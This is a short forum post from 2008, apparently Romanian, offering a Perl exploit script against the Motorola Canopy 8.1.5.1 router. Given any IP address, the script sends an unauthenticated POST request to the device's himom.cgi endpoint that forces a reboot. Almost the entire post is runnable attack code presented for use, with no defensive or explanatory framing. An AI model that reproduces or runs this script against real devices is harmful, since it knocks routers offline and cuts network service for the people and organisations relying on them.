Number.49 Posted May 4, 2008 Report Posted May 4, 2008 #!/usr/bin/perl# =====================================================# Motorola Canopy 8.1.5.1 Router => "CSRF" Remote Restart # =====================================================## Model : Motorola Canopy# Versiunea software : Canopy 8.1.5.1 SM-DES## Exploit by : Number.49 # "Sunt un strop de intuneric,in lumea roz a manelistilor" # =====================================================if ( !$ARGV[0] ) { print "\n [!] Info : perl m-canopy.pl [ip] "; print "\n [?] Exemplu : perl m-canopy.pl xxx.xxx.xxx.xxx "; exit;} use LWP;my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');$link = 'http://'.$ARGV[0].'/himom.cgi';$data="reboot=Reboot&mac_esn=0&catindex=1&pageindex=0&Session=0";my $ua = LWP::UserAgent->new;my $req = new HTTP::Request 'POST',$link;$req->content_type('application/x-www-form-urlencoded');$req->content($data);my $res = $ua->request($req);print "\nFinalizarea procesului de restartare in aproximativ 5 secunde\n"; Quote